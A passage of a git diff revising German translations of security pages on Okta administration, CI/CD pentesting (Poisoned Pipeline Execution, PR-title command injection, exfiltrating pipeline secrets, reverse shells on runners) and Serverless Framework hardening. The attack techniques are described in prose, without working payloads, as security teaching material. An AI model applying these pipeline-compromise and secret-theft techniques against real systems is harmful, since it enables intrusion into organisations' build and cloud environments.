-Es wird empfohlen, MFA anzufordern, die Sitzungsdauer auf einige Stunden zu beschränken, Sitzungscookies nicht über Browsererweiterungen hinweg zu speichern und den Standort und den Identitätsanbieter (wenn dies möglich ist) zu beschränken. Wenn jeder Benutzer beispielsweise aus einem bestimmten Land anmelden sollte, könnten Sie nur diesen Standort zulassen. +Es wird empfohlen, MFA anzufordern, die Sitzungsdauer auf einige Stunden zu beschränken, Sitzungs-Cookies nicht über Browsererweiterungen hinweg zu speichern und den Standort und den Identitätsanbieter (wenn dies möglich ist) zu beschränken. Wenn beispielsweise jeder Benutzer aus einem bestimmten Land anmelden sollte, könnten Sie nur diesen Standort zulassen. -### Identity Providers +### Identitätsanbieter Identitätsanbieter (IdPs) sind Dienste, die **Benutzerkonten verwalten**. Das Hinzufügen von IdPs in Okta ermöglicht es Ihren Endbenutzern, sich mit Ihren benutzerdefinierten Anwendungen selbst zu registrieren, indem sie sich zuerst mit einem sozialen Konto oder einer Smartcard authentifizieren. -Auf der Seite der Identitätsanbieter können Sie soziale Anmeldungen (IdPs) hinzufügen und Okta als Dienstanbieter (SP) konfigurieren, indem Sie eingehendes SAML hinzufügen. Nachdem Sie IdPs hinzugefügt haben, können Sie Routingregeln einrichten, um Benutzer basierend auf dem Kontext, wie dem Standort, dem Gerät oder der E-Mail-Domain des Benutzers, an einen IdP weiterzuleiten. +Auf der Seite Identitätsanbieter können Sie soziale Anmeldungen (IdPs) hinzufügen und Okta als Dienstanbieter (SP) konfigurieren, indem Sie eingehendes SAML hinzufügen. Nachdem Sie IdPs hinzugefügt haben, können Sie Routingregeln einrichten, um Benutzer basierend auf dem Kontext, wie dem Standort des Benutzers, dem Gerät oder der E-Mail-Domain, an einen IdP weiterzuleiten. **Wenn ein Identitätsanbieter konfiguriert ist**, überprüfen Sie aus der Perspektive eines Angreifers und Verteidigers diese Konfiguration und **ob die Quelle wirklich vertrauenswürdig ist**, da ein Angreifer, der sie kompromittiert, auch Zugriff auf die Okta-Umgebung erhalten könnte. -### Delegated Authentication +### Delegierte Authentifizierung Die delegierte Authentifizierung ermöglicht es Benutzern, sich bei Okta anzumelden, indem sie Anmeldeinformationen für den **Active Directory (AD) oder LDAP**-Server ihrer Organisation eingeben. Überprüfen Sie dies erneut, da ein Angreifer, der das AD einer Organisation kompromittiert, möglicherweise über diese Einstellung zu Okta pivotieren könnte. -### Network +### Netzwerk -Eine Netzwerkzone ist eine konfigurierbare Grenze, die Sie verwenden können, um **Zugriff auf Computer und Geräte** in Ihrer Organisation basierend auf der **IP-Adresse**, die Zugriff anfordert, zu **gewähren oder einzuschränken**. Sie können eine Netzwerkzone definieren, indem Sie eine oder mehrere einzelne IP-Adressen, IP-Adressbereiche oder geografische Standorte angeben. +Eine Netzwerkzone ist eine konfigurierbare Grenze, die Sie verwenden können, um **Zugriff auf Computer und Geräte** in Ihrer Organisation basierend auf der **IP-Adresse**, die Zugriff anfordert, zu gewähren oder einzuschränken. Sie können eine Netzwerkzone definieren, indem Sie eine oder mehrere einzelne IP-Adressen, IP-Adressbereiche oder geografische Standorte angeben. -Nachdem Sie eine oder mehrere Netzwerkzonen definiert haben, können Sie **sie in globalen Sitzungspolitiken**, **Authentifizierungsrichtlinien**, VPN-Benachrichtigungen und **Routingregeln** verwenden. +Nachdem Sie eine oder mehrere Netzwerkzonen definiert haben, können Sie **sie in globalen Sitzungsrichtlinien**, **Authentifizierungsrichtlinien**, VPN-Benachrichtigungen und **Routingregeln** verwenden. Aus der Perspektive eines Angreifers ist es interessant zu wissen, welche IPs erlaubt sind (und zu überprüfen, ob einige **IPs privilegierter** sind als andere). Aus der Perspektive eines Angreifers, wenn die Benutzer von einer bestimmten IP-Adresse oder Region aus zugreifen sollten, überprüfen Sie, ob diese Funktion ordnungsgemäß verwendet wird. -### Device Integrations +### Geräteintegrationen -- **Endpoint Management**: Endpoint Management ist eine Bedingung, die in einer Authentifizierungsrichtlinie angewendet werden kann, um sicherzustellen, dass verwaltete Geräte Zugriff auf eine Anwendung haben. +- **Endpoint-Management**: Endpoint-Management ist eine Bedingung, die in einer Authentifizierungsrichtlinie angewendet werden kann, um sicherzustellen, dass verwaltete Geräte Zugriff auf eine Anwendung haben. - Ich habe dies noch nicht gesehen. TODO - **Benachrichtigungsdienste**: Ich habe dies noch nicht gesehen. TODO ### API -Sie können auf dieser Seite Okta-API-Token erstellen und die **erstellten** Token, deren **Berechtigungen**, **Ablauf**-Zeit und **Ursprungs-URLs** sehen. Beachten Sie, dass API-Token mit den Berechtigungen des Benutzers generiert werden, der das Token erstellt hat, und nur gültig sind, wenn der **Benutzer**, der sie erstellt hat, **aktiv** ist. +Sie können auf dieser Seite Okta-API-Token erstellen und die **erstellten**, deren **Berechtigungen**, **Ablaufzeit** und **Ursprungs-URLs** sehen. Beachten Sie, dass API-Token mit den Berechtigungen des Benutzers generiert werden, der das Token erstellt hat, und nur gültig sind, wenn der **Benutzer**, der sie erstellt hat, **aktiv** ist. -Die **Trusted Origins** gewähren Zugriff auf Websites, die Sie kontrollieren und denen Sie vertrauen, um auf Ihre Okta-Organisation über die Okta-API zuzugreifen. +Die **Vertrauenswürdigen Ursprünge** gewähren Zugriff auf Websites, die Sie kontrollieren und denen Sie vertrauen, um auf Ihre Okta-Organisation über die Okta-API zuzugreifen. Es sollten nicht viele API-Token vorhanden sein, da ein Angreifer, wenn es viele gibt, versuchen könnte, auf sie zuzugreifen und sie zu verwenden. ## Workflow -### Automations +### Automatisierungen Automatisierungen ermöglichen es Ihnen, automatisierte Aktionen zu erstellen, die basierend auf einer Reihe von Auslösebedingungen ausgeführt werden, die während des Lebenszyklus der Endbenutzer auftreten. Ein Beispiel für eine Bedingung könnte "Benutzerinaktivität in Okta" oder "Ablauf des Benutzerpassworts in Okta" sein, und die Aktion könnte "E-Mail an den Benutzer senden" oder "Ändern des Benutzerlebenszyklusstatus in Okta" sein. -## Reports +## Berichte -### Reports +### Berichte Laden Sie Protokolle herunter. Sie werden an die **E-Mail-Adresse** des aktuellen Kontos **gesendet**. -### System Log +### Systemprotokoll Hier finden Sie die **Protokolle der von Benutzern durchgeführten Aktionen** mit vielen Details wie Anmeldungen in Okta oder in Anwendungen über Okta. -### Import Monitoring +### Importüberwachung Dies kann **Protokolle von anderen Plattformen importieren**, die mit Okta aufgerufen wurden. -### Rate limits +### Ratenlimits -Überprüfen Sie die erreichten API-Rate-Limits. +Überprüfen Sie die erreichten API-Ratenlimits. -## Settings +## Einstellungen -### Account +### Konto -Hier finden Sie **allgemeine Informationen** über die Okta-Umgebung, wie den Firmennamen, die Adresse, **E-Mail-Rechnungsadresse**, **E-Mail-technischer Kontakt** und auch, wer Okta-Updates erhalten sollte und welche Art von Okta-Updates. +Hier finden Sie **allgemeine Informationen** über die Okta-Umgebung, wie den Firmennamen, die Adresse, den **E-Mail-Rechnungs-Kontakt**, den **E-Mail-technischen Kontakt** und auch, wer Okta-Updates erhalten sollte und welche Art von Okta-Updates. ### Downloads diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 5429c8348..b090d2716 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD Methodology +# Pentesting CI/CD Methodologie {{#include ../banners/hacktricks-training.md}} @@ -20,7 +20,7 @@ CI/CD-Pipelines ermöglichen es Entwicklern, die **Ausführung von Code** für v Diese Systeme müssen jedoch **irgendwo ausgeführt werden** und normalerweise mit **privilegierten Anmeldeinformationen, um Code bereitzustellen oder auf sensible Informationen zuzugreifen**. -## VCS Pentesting Methodology +## VCS Pentesting Methodologie > [!NOTE] > Auch wenn einige VCS-Plattformen das Erstellen von Pipelines erlauben, werden wir in diesem Abschnitt nur potenzielle Angriffe auf die Kontrolle des Quellcodes analysieren. @@ -37,25 +37,25 @@ Plattformen, die den Quellcode Ihres Projekts enthalten, enthalten sensible Info - Wenn das Geheimnis in der URL ist, passiert dasselbe und der Angreifer hat auch das Geheimnis. - **Code-Kompromittierung:** Wenn ein böswilliger Akteur eine Art von **Schreibzugriff** auf die Repos hat, könnte er versuchen, **bösartigen Code einzuschleusen**. Um erfolgreich zu sein, muss er möglicherweise **Branch-Schutzmaßnahmen umgehen**. Diese Aktionen können mit verschiedenen Zielen im Hinterkopf durchgeführt werden: - Kompromittierung des Hauptzweigs, um **die Produktion zu gefährden**. -- Kompromittierung des Hauptzweigs (oder anderer Zweige), um **Entwicklermaschinen zu gefährden** (da sie normalerweise Tests, Terraform oder andere Dinge innerhalb des Repos auf ihren Maschinen ausführen). +- Kompromittierung des Hauptzweigs (oder anderer Zweige), um **Entwicklermaschinen zu gefährden** (da sie normalerweise Tests, Terraform oder andere Dinge auf ihren Maschinen im Repo ausführen). - **Kompromittierung der Pipeline** (siehe nächsten Abschnitt). -## Pipelines Pentesting Methodology +## Pipelines Pentesting Methodologie Der gebräuchlichste Weg, eine Pipeline zu definieren, besteht darin, eine **CI-Konfigurationsdatei, die im Repository gehostet wird**, zu verwenden, das die Pipeline erstellt. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und Einstellungen der Build-Umgebung.\ Diese Dateien haben typischerweise einen konsistenten Namen und ein konsistentes Format, zum Beispiel — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) und die GitHub Actions YAML-Dateien, die sich unter .github/workflows befinden. Wenn sie ausgelöst werden, **zieht der Pipeline-Job den Code** aus der ausgewählten Quelle (z.B. Commit / Branch) und **führt die im CI-Konfigurationsdatei angegebenen Befehle** gegen diesen Code aus. -Daher ist das ultimative Ziel des Angreifers, irgendwie **diese Konfigurationsdateien** oder die **Befehle, die sie ausführen**, zu **kompromittieren**. +Daher ist das ultimative Ziel des Angreifers, auf irgendeine Weise **diese Konfigurationsdateien** oder die **Befehle, die sie ausführen**, zu **kompromittieren**. -### PPE - Poisoned Pipeline Execution +### PPE - Vergiftete Pipeline-Ausführung -Der Poisoned Pipeline Execution (PPE) Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den erforderlichen Berechtigungen können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, ändern, um bösartige Befehle einzufügen. Dies "vergiftet" die CI-Pipeline und führt zur Ausführung dieser bösartigen Befehle. +Der Vergiftete Pipeline-Ausführungs (PPE) Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den erforderlichen Berechtigungen können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, ändern, um bösartige Befehle einzuschließen. Dies "vergiftet" die CI-Pipeline und führt zur Ausführung dieser bösartigen Befehle. Damit ein böswilliger Akteur bei einem PPE-Angriff erfolgreich ist, muss er in der Lage sein: - **Schreibzugriff auf die VCS-Plattform** zu haben, da Pipelines normalerweise ausgelöst werden, wenn ein Push oder ein Pull-Request durchgeführt wird. (Überprüfen Sie die VCS-Pentesting-Methodologie für eine Zusammenfassung der Möglichkeiten, Zugriff zu erhalten). - Beachten Sie, dass manchmal ein **externer PR als "Schreibzugriff" zählt**. -- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die **CI-Konfigurationsdatei oder andere Dateien, auf die die Konfiguration angewiesen ist, ändern kann**. +- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die **CI-Konfigurationsdatei oder andere Dateien, auf die die Konfiguration angewiesen ist**, **ändern** kann. - Dazu muss er möglicherweise in der Lage sein, **Branch-Schutzmaßnahmen zu umgehen**. Es gibt 3 PPE-Varianten: @@ -65,39 +65,39 @@ Es gibt 3 PPE-Varianten: - **Öffentlicher PPE oder 3PE**: In einigen Fällen können die Pipelines von Benutzern **ausgelöst werden, die keinen Schreibzugriff im Repo haben** (und die möglicherweise nicht einmal Teil der Organisation sind), weil sie einen PR senden können. - **3PE-Befehlsinjektion**: Normalerweise setzen CI/CD-Pipelines **Umgebungsvariablen** mit **Informationen über den PR**. Wenn dieser Wert von einem Angreifer kontrolliert werden kann (wie der Titel des PR) und in einem **gefährlichen Ort** (wie der Ausführung von **sh-Befehlen**) **verwendet** wird, könnte ein Angreifer **Befehle dort injizieren**. -### Exploitation Benefits +### Ausbeutungsnutzen -Wenn man die 3 Varianten kennt, um eine Pipeline zu vergiften, lassen Sie uns überprüfen, was ein Angreifer nach einer erfolgreichen Ausnutzung erhalten könnte: +Wenn man die 3 Varianten kennt, um eine Pipeline zu vergiften, lassen Sie uns überprüfen, was ein Angreifer nach einer erfolgreichen Ausbeutung erhalten könnte: -- **Geheimnisse**: Wie bereits erwähnt, erfordern Pipelines **Berechtigungen** für ihre Jobs (Code abrufen, erstellen, bereitstellen...) und diese Berechtigungen werden normalerweise **in Geheimnissen gewährt**. Diese Geheimnisse sind normalerweise über **Umgebungsvariablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, so viele Geheimnisse wie möglich zu exfiltrieren. +- **Geheimnisse**: Wie bereits erwähnt, erfordern Pipelines **Berechtigungen** für ihre Jobs (den Code abrufen, ihn erstellen, bereitstellen...) und diese Berechtigungen werden normalerweise **in Geheimnissen gewährt**. Diese Geheimnisse sind normalerweise über **Umgebungsvariablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, so viele Geheimnisse wie möglich zu exfiltrieren. - Abhängig von der Pipeline-Plattform muss der Angreifer möglicherweise **die Geheimnisse in der Konfiguration angeben**. Das bedeutet, dass, wenn der Angreifer die CI-Konfigurationspipeline nicht ändern kann (**I-PPE** zum Beispiel), er **nur die Geheimnisse exfiltrieren könnte, die diese Pipeline hat**. - **Berechnung**: Der Code wird irgendwo ausgeführt, abhängig davon, wo er ausgeführt wird, könnte ein Angreifer in der Lage sein, weiter zu pivotieren. -- **On-Premises**: Wenn die Pipelines vor Ort ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk mit Zugriff auf mehr Ressourcen** enden. -- **Cloud**: Der Angreifer könnte auf **andere Maschinen in der Cloud** zugreifen, könnte aber auch **IAM-Rollen/Dienstkonten-Tokens** von dort **exfiltrieren**, um **weiteren Zugriff innerhalb der Cloud** zu erhalten. -- **Plattformmaschine**: Manchmal werden die Jobs innerhalb der **Pipelines-Plattformmaschinen** ausgeführt, die sich normalerweise in einer Cloud mit **keinem weiteren Zugriff** befinden. +- **Vor Ort**: Wenn die Pipelines vor Ort ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk mit Zugang zu mehr Ressourcen** enden. +- **Cloud**: Der Angreifer könnte auf **andere Maschinen in der Cloud** zugreifen, könnte aber auch **IAM-Rollen/Dienstkonten-Tokens** von dort **exfiltrieren**, um **weiteren Zugang innerhalb der Cloud** zu erhalten. +- **Plattformmaschine**: Manchmal werden die Jobs innerhalb der **Pipelines-Plattformmaschinen** ausgeführt, die sich normalerweise in einer Cloud mit **keinem weiteren Zugang** befinden. - **Wählen Sie es aus:** Manchmal hat die **Pipelines-Plattform mehrere Maschinen konfiguriert**, und wenn Sie die **CI-Konfigurationsdatei ändern können**, können Sie **angeben, wo Sie den bösartigen Code ausführen möchten**. In dieser Situation wird ein Angreifer wahrscheinlich auf jeder möglichen Maschine eine Reverse-Shell ausführen, um zu versuchen, sie weiter auszunutzen. - **Kompromittierung der Produktion**: Wenn Sie sich innerhalb der Pipeline befinden und die endgültige Version von dort erstellt und bereitgestellt wird, könnten Sie **den Code kompromittieren, der letztendlich in der Produktion ausgeführt wird**. -## More relevant info +## Weitere relevante Informationen ### Tools & CIS Benchmark - [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zur Überprüfung Ihres Software-Lieferketten-Stacks auf Sicherheitskonformität basierend auf einem neuen [**CIS Software Supply Chain Benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Die Überprüfung konzentriert sich auf den gesamten SDLC-Prozess, in dem Risiken von der Codezeit bis zur Bereitstellungszeit aufgedeckt werden können. -### Top 10 CI/CD Security Risk +### Top 10 CI/CD Sicherheitsrisiken Überprüfen Sie diesen interessanten Artikel über die Top 10 CI/CD-Risiken laut Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- Auf jeder Plattform, die Sie lokal ausführen können, finden Sie, wie Sie sie lokal starten können, damit Sie sie nach Belieben konfigurieren und testen können. -- Gitea + Jenkins-Labor: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) +- Auf jeder Plattform, die Sie lokal ausführen können, finden Sie, wie Sie sie lokal starten können, damit Sie sie nach Ihren Wünschen konfigurieren können, um sie zu testen. +- Gitea + Jenkins Lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) -### Automatic Tools +### Automatische Tools - [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ist ein statisches Code-Analyse-Tool für Infrastruktur als Code. -## References +## Referenzen - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index 234840cf8..7dc7968f3 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -2,15 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -## Grundlegende Informationen +## Grundinformationen ### Organisation -Eine **Organisation** ist die höchste Ebene innerhalb des Serverless Framework-Ökosystems. Sie repräsentiert eine **kollektive Gruppe**, wie ein Unternehmen, eine Abteilung oder eine andere große Einheit, die mehrere Projekte, Teams und Anwendungen umfasst. +Eine **Organisation** ist die höchste Ebene innerhalb des Serverless Framework-Ökosystems. Sie repräsentiert eine **kollektive Gruppe**, wie ein Unternehmen, eine Abteilung oder eine große Einheit, die mehrere Projekte, Teams und Anwendungen umfasst. ### Team -Das **Team** sind die Benutzer mit Zugang innerhalb der Organisation. Teams helfen dabei, Mitglieder basierend auf Rollen zu organisieren. **`Mitarbeiter`** können bestehende Apps anzeigen und bereitstellen, während **`Administratoren`** neue Apps erstellen und die Organisationseinstellungen verwalten können. +Das **Team** sind die Benutzer mit Zugang innerhalb der Organisation. Teams helfen dabei, Mitglieder basierend auf Rollen zu organisieren. **`Mitarbeiter`** können bestehende Apps anzeigen und bereitstellen, während **`Administratoren`** neue Apps erstellen und die Einstellungen der Organisation verwalten können. ### Anwendung @@ -34,7 +34,7 @@ handler: handler.hello Eine **Funktion** stellt eine einzelne serverlose Funktion dar, wie z.B. eine AWS Lambda-Funktion. Sie enthält den Code, der als Reaktion auf Ereignisse ausgeführt wird. -Sie ist im Abschnitt `functions` in `serverless.yml` definiert und gibt den Handler, die Laufzeit, Ereignisse, Umgebungsvariablen und andere Einstellungen an. +Sie wird im Abschnitt `functions` in `serverless.yml` definiert, wobei der Handler, die Laufzeit, Ereignisse, Umgebungsvariablen und andere Einstellungen angegeben werden. ```yaml functions: hello: @@ -128,7 +128,7 @@ region: us-west-2 Plugins -**Plugins** erweitern die Funktionalität des Serverless Frameworks, indem sie neue Funktionen hinzufügen oder mit anderen Tools und Diensten integriert werden. Sie werden im Abschnitt `plugins` definiert und über npm installiert. +**Plugins** erweitern die Funktionalität des Serverless Frameworks, indem sie neue Funktionen hinzufügen oder mit anderen Tools und Diensten integriert werden. Sie sind im Abschnitt `plugins` definiert und werden über npm installiert. ```yaml plugins: - serverless-offline @@ -157,7 +157,7 @@ layers: Variablen und benutzerdefinierte Variablen -**Variablen** ermöglichen eine dynamische Konfiguration, indem sie die Verwendung von Platzhaltern erlauben, die zur Deploy-Zeit aufgelöst werden. +**Variablen** ermöglichen eine dynamische Konfiguration, indem sie die Verwendung von Platzhaltern erlauben, die zur Zeit der Bereitstellung aufgelöst werden. - **Syntax:** `${variable}`-Syntax kann auf Umgebungsvariablen, Dateiinhalte oder andere Konfigurationsparameter verweisen. @@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'} Ausgaben -**Ausgaben** definieren die Werte, die nach der Bereitstellung eines Dienstes zurückgegeben werden, wie z. B. Ressourcen-ARNs, Endpunkte oder andere nützliche Informationen. Sie werden im Abschnitt `outputs` angegeben und häufig verwendet, um Informationen an andere Dienste weiterzugeben oder den einfachen Zugriff nach der Bereitstellung zu ermöglichen. +**Ausgaben** definieren die Werte, die nach der Bereitstellung eines Dienstes zurückgegeben werden, wie z.B. Ressourcen-ARNs, Endpunkte oder andere nützliche Informationen. Sie werden im Abschnitt `outputs` angegeben und häufig verwendet, um Informationen an andere Dienste weiterzugeben oder um einen einfachen Zugriff nach der Bereitstellung zu ermöglichen. ```yaml ¡outputs: ApiEndpoint: @@ -204,7 +204,7 @@ Fn::Join: IAM-Rollen und Berechtigungen -**IAM-Rollen und Berechtigungen** definieren die Sicherheitsanmeldeinformationen und Zugriffsrechte für Ihre Funktionen und andere Ressourcen. Sie werden unter den `provider`- oder individuellen Funktionseinstellungen verwaltet, um die erforderlichen Berechtigungen anzugeben. +**IAM-Rollen und Berechtigungen** definieren die Sicherheitsanmeldeinformationen und Zugriffsrechte für Ihre Funktionen und andere Ressourcen. Sie werden unter den `provider` oder den Einstellungen der einzelnen Funktionen verwaltet, um die erforderlichen Berechtigungen festzulegen. ```yaml provider: [...] @@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- Umgebungsvariablen -**Variablen** ermöglichen es Ihnen, Konfigurationseinstellungen und Geheimnisse an Ihre Funktionen zu übergeben, ohne sie hart zu codieren. Sie werden im Abschnitt `environment` für entweder den Anbieter oder einzelne Funktionen definiert. +**Variablen** ermöglichen es Ihnen, Konfigurationseinstellungen und Geheimnisse an Ihre Funktionen zu übergeben, ohne sie fest einzugeben. Sie werden im Abschnitt `environment` für entweder den Anbieter oder einzelne Funktionen definiert. ```yaml provider: environment: @@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` -Dies sollte eine **App** namens `tutorialapp` erstellt haben, die Sie in [serverless.com](serverless.com-security.md) überprüfen können, sowie einen Ordner namens `Tutorial` mit der Datei **`handler.js`**, die einige JS-Code mit einem `helloworld`-Code enthält, und die Datei **`serverless.yml`**, die diese Funktion deklariert: +Dies sollte eine **App** namens `tutorialapp` erstellt haben, die Sie in [serverless.com](serverless.com-security.md) überprüfen können, sowie einen Ordner namens `Tutorial` mit der Datei **`handler.js`**, die einige JS-Code mit einem `helloworld`-Code enthält, und der Datei **`serverless.yml`**, die diese Funktion deklariert: {{#tabs }} {{#tab name="handler.js" }} @@ -324,7 +324,7 @@ method: get {{#endtabs }} 4. Erstellen Sie einen AWS-Anbieter, indem Sie im **Dashboard** zu `https://app.serverless.com//settings/providers?providerId=new&provider=aws` gehen. -1. Um `serverless.com` Zugriff auf AWS zu gewähren, wird es aufgefordert, einen CloudFormation-Stack mit dieser Konfigurationsdatei auszuführen (zum Zeitpunkt dieses Schreibens): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +1. Um `serverless.com` Zugriff auf AWS zu gewähren, wird es aufgefordert, einen CloudFormation-Stack mit dieser Konfigurationsdatei auszuführen (zum Zeitpunkt des Schreibens): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) 2. Diese Vorlage generiert eine Rolle mit dem Namen **`SFRole-`** mit **`arn:aws:iam::aws:policy/AdministratorAccess`** über das Konto mit einer Vertrauensidentität, die dem `Serverless.com` AWS-Konto den Zugriff auf die Rolle ermöglicht.
@@ -482,8 +482,8 @@ TableName: ${self:service}-customerTable-${sls:stage} {{#endtabs }} 6. Bereitstellung mit **`serverless deploy`** -1. Die Bereitstellung erfolgt über einen CloudFormation-Stack -2. Beachten Sie, dass die **Lambdas über das API-Gateway exponiert sind** und nicht über direkte URLs +1. Die Bereitstellung erfolgt über einen CloudFormation Stack +2. Beachten Sie, dass die **lambdas über API Gateway exponiert sind** und nicht über direkte URLs 7. **Testen Sie es** 1. Der vorherige Schritt gibt die **URLs** aus, unter denen Ihre API-Endpunkt-Lambda-Funktionen bereitgestellt wurden @@ -556,7 +556,7 @@ Das Speichern sensibler Informationen (z. B. API-Schlüssel, Datenbankanmeldeinf Die **empfohlene** Methode zum Speichern von Umgebungsvariablen in der **`serverless.yml`**-Datei von serverless.com (zum Zeitpunkt dieses Schreibens) besteht darin, die `ssm`- oder `s3`-Provider zu verwenden, die es ermöglichen, die **Umgebungswerte aus diesen Quellen zur Bereitstellungszeit abzurufen** und die **Umgebungsvariablen der **lambdas** mit dem **Text ohne die Werte** zu konfigurieren! > [!CAUTION] -> Daher kann jeder, der Berechtigungen zum Lesen der Konfiguration der lambdas innerhalb von AWS hat, **auf alle diese Umgebungsvariablen im Klartext zugreifen!** +> Daher kann jeder mit Berechtigungen zum Lesen der Konfiguration der lambdas innerhalb von AWS **auf alle diese Umgebungsvariablen im Klartext zugreifen!** Zum Beispiel wird das folgende Beispiel SSM verwenden, um eine Umgebungsvariable abzurufen: ```yaml @@ -564,14 +564,14 @@ provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -Und selbst wenn dies das Hardcoding des Wertes der Umgebungsvariablen in der **`serverless.yml`**-Datei verhindert, wird der Wert zur Zeit der Bereitstellung abgerufen und wird **im Klartext in der Lambda-Umgebungsvariablen hinzugefügt**. +Und selbst wenn dies das Hardcoding des Wertes der Umgebungsvariable in der **`serverless.yml`**-Datei verhindert, wird der Wert zur Zeit der Bereitstellung abgerufen und wird **im Klartext in der Lambda-Umgebungsvariable hinzugefügt**. > [!TIP] -> Der empfohlene Weg, Umgebungsvariablen mit serveless.com zu speichern, wäre, **es in einem AWS-Geheimnis zu speichern** und nur den geheimen Namen in der Umgebungsvariablen zu speichern, und der **Lambda-Code sollte es abrufen**. +> Der empfohlene Weg, Umgebungsvariablen mit serveless.com zu speichern, wäre, **sie in einem AWS-Geheimnis zu speichern** und nur den geheimen Namen in der Umgebungsvariable zu speichern, und der **Lambda-Code sollte es abrufen**. #### **Minderungsstrategien** -- **Secrets Manager-Integration:** Verwenden Sie Dienste wie **AWS Secrets Manager.** +- **Secrets Manager Integration:** Verwenden Sie Dienste wie **AWS Secrets Manager.** - **Verschlüsselte Variablen:** Nutzen Sie die Verschlüsselungsfunktionen des Serverless Frameworks für sensible Daten. - **Zugriffskontrollen:** Beschränken Sie den Zugriff auf Geheimnisse basierend auf Rollen. @@ -583,7 +583,7 @@ Veraltete oder unsichere Abhängigkeiten können Schwachstellen einführen, wäh #### **Minderungsstrategien** -- **Abhängigkeitsmanagement:** Aktualisieren Sie regelmäßig Abhängigkeiten und scannen Sie auf Schwachstellen. +- **Abhängigkeitsmanagement:** Aktualisieren Sie regelmäßig Abhängigkeiten und scannen Sie nach Schwachstellen. ```yaml plugins: @@ -592,7 +592,7 @@ plugins: ``` - **Eingangsvalidierung:** Implementieren Sie strenge Validierung und Sanitärung aller Eingaben. -- **Code-Überprüfungen:** Führen Sie gründliche Überprüfungen durch, um Sicherheitsanfälligkeiten zu identifizieren. +- **Code-Überprüfungen:** Führen Sie gründliche Überprüfungen durch, um Sicherheitsfehler zu identifizieren. - **Statische Analyse:** Verwenden Sie Tools, um Schwachstellen im Code zu erkennen. --- @@ -610,8 +610,8 @@ plugins: - serverless-plugin-datadog ``` -- **Detailliertes Logging aktivieren:** Erfassen Sie wesentliche Informationen, ohne sensible Daten offenzulegen. -- **Alarme einrichten:** Konfigurieren Sie Alarme für verdächtige Aktivitäten oder Anomalien. +- **Aktivieren Sie detailliertes Logging:** Erfassen Sie wesentliche Informationen, ohne sensible Daten offenzulegen. +- **Einrichten von Warnungen:** Konfigurieren Sie Warnungen für verdächtige Aktivitäten oder Anomalien. - **Regelmäßige Überwachung:** Überwachen Sie kontinuierlich Protokolle und Metriken auf potenzielle Sicherheitsvorfälle. --- @@ -672,7 +672,7 @@ Geteilte Ressourcen und unzureichende Isolation können zu Privilegieneskalation #### **Minderungsstrategien** - **Funktionen isolieren:** Weisen Sie unterschiedliche Ressourcen und IAM-Rollen zu, um einen unabhängigen Betrieb sicherzustellen. -- **Ressourcenpartitionierung:** Verwenden Sie separate Datenbanken oder Speicherorte für verschiedene Funktionen. +- **Ressourcenteilung:** Verwenden Sie separate Datenbanken oder Speicherorte für verschiedene Funktionen. - **Verwenden Sie VPCs:** Stellen Sie Funktionen innerhalb von Virtual Private Clouds für verbesserte Netzisolierung bereit. ```yaml @@ -708,7 +708,7 @@ SSEEnabled: true - **Daten während der Übertragung verschlüsseln:** Verwenden Sie HTTPS/TLS für alle Datenübertragungen. - **Sichere API-Kommunikation:** Erzwingen Sie Verschlüsselungsprotokolle und validieren Sie Zertifikate. -- **Verschlüsselungsschlüssel sicher verwalten:** Verwenden Sie verwaltete Schlüsseldienste und rotieren Sie Schlüssel regelmäßig. +- **Verwalten Sie Verschlüsselungsschlüssel sicher:** Verwenden Sie verwaltete Schlüsseldienste und rotieren Sie Schlüssel regelmäßig. --- @@ -736,11 +736,11 @@ body: JSON.stringify({ message: 